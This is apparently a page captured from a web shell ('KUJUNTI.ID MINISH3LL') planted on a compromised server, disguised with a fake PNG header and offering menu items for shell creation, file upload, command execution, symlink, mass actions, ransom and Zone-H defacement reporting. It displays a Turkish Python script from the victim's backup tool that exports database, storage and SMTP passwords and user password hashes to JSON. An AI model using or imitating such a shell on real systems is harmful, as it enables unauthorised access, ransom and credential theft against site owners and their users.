\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv3/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv3/backup_database.py


#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
yedekleDB24 için veritabanı yedekleme scripti.
Bu script, veritabanındaki tüm verileri JSON formatında dışa aktarır.
"""

import os
import json
import datetime
import logging
from dotenv import load_dotenv
from app import app, db
from models import DatabaseConnection, StorageTarget, BackupJob, BackupLog, User, SmtpSettings

# Logging konfigürasyonu
logging.basicConfig(level=logging.INFO, 
                    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

def serialize_datetime(obj):
    """
    JSON serileştirme için datetime nesnelerini işler.
    """
    if isinstance(obj, datetime.datetime):
        return obj.isoformat()
    raise TypeError(f"Type {type(obj)} not serializable")

def backup_database():
    """
    Veritabanındaki tüm tabloları JSON formatında yedekler.
    """
    with app.app_context():
        backup_data = {
            "database_connections": [],
            "storage_targets": [],
            "backup_jobs": [],
            "backup_logs": [],
            "users": [],
            "smtp_settings": []
        }
        
        # Veritabanı bağlantılarını yedekle
        for conn in DatabaseConnection.query.all():
            backup_data["database_connections"].append({
                "id": conn.id,
                "name": conn.name,
                "db_type": conn.db_type,
                "host": conn.host,
                "port": conn.port,
                "username": conn.username,
                "password": conn.password,
                "database": conn.database,
                "created_at": conn.created_at
            })
            
        # Depolama hedeflerini yedekle
        for storage in StorageTarget.query.all():
            backup_data["storage_targets"].append({
                "id": storage.id,
                "name": storage.name,
                "storage_type": storage.storage_type,
                "host": storage.host,
                "port": storage.port,
                "username": storage.username,
                "password": storage.password,
                "path": storage.path,
                "created_at": storage.created_at
            })
            
        # Yedekleme görevlerini yedekle
        for job in BackupJob.query.all():
            backup_data["backup_jobs"].append({
                "id": job.id,
                "name": job.name,
                "database_id": job.database_id,
                "storage_id": job.storage_id,
                "schedule_type": job.schedule_type,
                "schedule_value": job.schedule_value,
                "retention_days": job.retention_days,
                "enabled": job.enabled,
                "created_at": job.created_at,
                "last_run": job.last_run
            })
            
        # Yedekleme kayıtlarını yedekle
        for log in BackupLog.query.all():
            backup_data["backup_logs"].append({
                "id": log.id,
                "job_id": log.job_id,
                "timestamp": log.timestamp,
                "status": log.status,
                "message": log.message,
                "backup_file": log.backup_file,
                "backup_size": log.backup_size,
                "duration": log.duration
            })
            
        # Kullanıcıları yedekle
        for user in User.query.all():
            backup_data["users"].append({
                "id": user.id,
                "username": user.username,
                "email": user.email,
                "password_hash": user.password_hash,
                "is_admin": user.is_admin,
                "created_at": user.created_at,
                "last_login": user.last_login
            })
            
        # SMTP ayarlarını yedekle
        for smtp in SmtpSettings.query.all():
            backup_data["smtp_settings"].append({
                "id": smtp.id,
                "mail_server": smtp.mail_server,
                "mail_port": smtp.mail_port,
                "mail_use_tls": smtp.mail_use_tls,
                "mail_use_ssl": smtp.mail_use_ssl,
                "mail_username": smtp.mail_username,
                "mail_password": smtp.mail_password,
                "mail_default_sender": smtp.mail_default_sender,
                "notification_emails": smtp.notification_emails,
                "created_at": smtp.created_at,
                "updated_at": smtp.updated_at
            })
            
        return backup_data

def main():
    """Ana fonksiyon"""
    timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
    backup_file = f"database_backups/yedekledb24_data_{timestamp}.json"
    
    # Yedekleme dizinini oluştur
    os.makedirs("database_backups", exist_ok=True)
    
    # Veritabanını yedekle
    backup_data = backup_database()
    
    # JSON dosyasına yaz
    with open(backup_file, 'w', encoding='utf-8') as f:
        json.dump(backup_data, f, default=serialize_datetime, indent=2, ensure_ascii=False)
        
    logger.info(f"Veritabanı başarıyla yedeklendi: {backup_file}")
    print(f"Veritabanı başarıyla yedeklendi: {backup_file}")

if __name__ == "__main__":
    main()

© KUJUNTI.ID